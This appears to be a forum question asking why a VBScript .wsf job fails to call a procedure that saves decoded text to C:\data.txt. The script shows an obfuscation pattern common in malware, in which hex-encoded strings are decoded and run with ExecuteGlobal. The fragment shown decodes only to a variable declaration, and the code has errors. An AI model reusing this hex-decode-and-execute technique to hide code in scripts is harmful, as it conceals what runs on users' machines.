procedure call to save file in vbscript

I have a problem with the VBScript code so that it executes correctly, I appreciate your biggest collaboration

<?XML version="1.0"?><job>
<script language="VBScript">
<![CDATA[
  KA = KA & php("44696D204F6178737A4D676757574747796D616766784F7851625")
  KA = KA & php("44696D204F6178737A4D676757574747796D616766784F7851625")

ExecuteGlobal KA
sub guardar (txt as String)
    set fso = CreateObject("Scripting.FileSystemObject")
    set archivo = fso.OpenTextFile("C:\data.txt", 8, True)
    archivo.Write txt & vbCrLf
    archivo.close
end sub

Function php(KA) 
   For y = 1 To Len(KA) Step 2 
   ub = ub & Chr(Clng("&H" & Mid(KA, y, 2))) 
   Next 
   php = guardar(ub)    
End Function
]]>
</script>
</job>

I can not call the procedure correctly to save the information.